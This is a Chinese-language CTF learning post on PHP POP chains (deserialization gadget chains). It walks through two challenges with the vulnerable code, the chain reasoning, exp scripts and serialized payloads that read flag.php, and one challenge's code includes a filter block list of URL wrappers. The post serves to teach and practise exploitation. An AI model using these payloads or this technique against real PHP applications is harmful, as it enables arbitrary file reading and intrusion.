POP链实例解析学习

写在前面

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload，实战应用范围暂时没遇到，不过在CTF比赛中经常出现这样的题目，同时也经常与反序列化一起考察，可以理解为是反序列化的一种拓展，泛用性更强，涉及到的魔法方法也更多。

基本魔法方法

我用的代码如下：

<?php
class A{
        public $a="hi";
        public $b="no";
        function __construct()
        {
            $this->a="hiiiii!";
            echo $this->a."\n";
            echo "this is construct\n";
        }
        function __wakeup()
        {
            echo "this is wakeup\n";
        }//反序列化之前
        function __destruct()
        {
            echo "this is destruct\n";
        }//反序列化时会最后才触发

        function __toString()
        {
            return "this is tostring\n";
        }
        function __call($name, $arguments)
        {
            echo "this is call\n";
        }
        function __get($a)
        {
            echo "this is get\n";
        }
        function __invoke()
        {
            echo "this is invoke\n";
        }//尝试当作函数
        

        function say_hi()
        {
            echo "hiuhiu\n";
        }
    }
    $aa=new A();// 所有最后都还要析构一次，对象的消失
    $aa->say_hi();
    $bb=serialize($aa);
    $cc=unserialize($bb); 
    echo $aa;// 作为字符串用时触发 tostring
    $aa->say_no(); //call
    $aa->c; //get
    $aa(); //invoke

引用

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

还有一些其他的，不过都大同小异
其实很多都是在处理对象可能产生的问题，比如强行当作字符串，强行当作函数，调用不存在的方法，调用不存在的属性，序列化，反序列化，它的消失，它的开始等等。

示例1

以下示例链接：https://blog.csdn.net/weixin_45645113/article/details/105309695
（仅使用了题目）

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }//用来欢迎

    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }//用来替换
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

一开始看是非常烦人的，所以开始这里的练习之前，你需要对魔法方法比较熟悉。POP链是一环扣着一环，像一个链条一样，这也就是说它是紧密联系起来的。
我们只需找到入口和出口，任意反推或者正推就比较好解决

思路

首先这里传入数据的入口是反序列化，那就是__wakeup()，出口那就是要读取文件，那就是 __invoke()和_show() ，一个是魔法方法，一个是普通方法。

1. 使用正推，进入wakeup后看起来是一个非常正常的函数，只能通过$this->source来完成跳转，这里的可能有两个，一是利用属性不存在跳转__get()，二是利用将对象作为字符串使用跳转__toString()（preg_match函数的第二个参数就是string类型）。第一个方法行不通，因为类中没有__get()方法。所以要用第二种方案，后续exp中详细说明这种方案。

2. 假设进入__toString()后，显然是需要str[‘str’]返回一个对象时去搜寻source属性，下一步就是无法搜索到这个属性就可以跳转__get()，但是这里是需要跳转到Test类才有__get()，那么就让str['str']返回的对象是Test对象。

3. 进入__get()后，找到它的属性并强行调用方法，明显就需要跳转至__invoke()，那么就要让$this->p找到Read类中。

4. 进入__invoke()后将$var设为你想要的文件就到达出口了。

最后在书写exp时将整个思路倒过来就可以完成了，反序列内容从外到里读，写是从里到外写嘛。
将Read类的对象放入Test类的p属性中，再将上述的一堆放入str[‘str’]，最后要将对象作为字符串，那么让Show类的source属性等于对象自己就可以了
exp:

<?php
class Show{
	public $source;
	public $str;
}
class Test {
	public $p;
}
class Read{
	public $var = "flag.php";
}

$s = new Show();
echo '$s  :  '.serialize($s)."\n";
$t = new Test();
echo '$t  :  '.serialize($t)."\n";
$r = new Read();
echo '$r  :  '.serialize($r)."\n";
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
//var_dump($s);
var_dump(serialize($s));

$s  :  O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}
$t  :  O:4:"Test":1:{s:1:"p";N;}
$r  :  O:4:"Read":1:{s:3:"var";s:8:"flag.php";}
string(121) "O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}"

payload:

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}

在编写payload时重要的就是装载方式，找到跳转位置，即能够像链条一样串起整个思路。

示例2（2019安恒一月月赛web1-babygo）

现在来看看反推的思路，也是比赛题。

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

1.分析一下题目，首先非常明显，本题出口是cool类中的read方法，但是如果我们直接序列化cool类，无法触发实际方法。

2.看到在baby类中可以触发一个read()，那么也就是让$this->skyobj为cool对象即可，不过这里是在__toString()中，正好主函数中有一个echo $Input_data;可以进行触发。

3.触发后进入read()方法，首先就要反序列化amzing属性，将结果给nice属性，后续nice属性中有aaa,bbb两个属性，说明nice属性是baby类，也就是amzing反序列化结果是baby类。还得序列化一下baby类传到amzing处。

4.然后又被$sth恶意修改了一下，不知道修改成了什么，要保证它们两个属性相等，就可以让bbb属性跟随aaa变化。传一个地址就可以了。

EXP

值得注意的是，这里是一个protected，需要从类内部操作，不能从外面赋。比如这里的skyobj属性要为对象，就不能先初始化cool对象再赋值过去， protected只能在类及其子类中用，外部不可访问，所以要利用__construct()来初始化。

可能你还注意到，baby中的skyobj要以cool类来建立，而cool类中的amzing属性又是与baby类有关，那么究竟谁先谁后呢？
这里要小小的分析一下，cool类作为后验证的东西，它是使用baby类中的aaa等属性，和skyobj属性关系不大，所以你可以先将baby类序列化后的值赋给amzing。

但是，由于刚刚用了__construct()，当我们想要将baby类序列化后的值赋给amzing。 就会触发到，从而让__contrust()提前触发，所以还得分开，先单独序列化一下不带__construct()的baby，然后给他赋好。

<?php
    class baby
    {
        protected $skyobj;
        public $aaa;
        public $bbb;
        function __construct() 
        {          
            $this->skyobj = new cool;   
        }  
    }
    
    class cool
    {
        public $filename="flag.php";
        public $nice;
        public $amzing='O:4:"baby":3:{s:9:"\000*\000skyobj";N;s:3:"aaa";N;s:3:"bbb";N;}';
    }


$b= new baby();

$b->aaa=&$b->bbb;

var_dump(urlencode(serialize($b)));

这样就完成了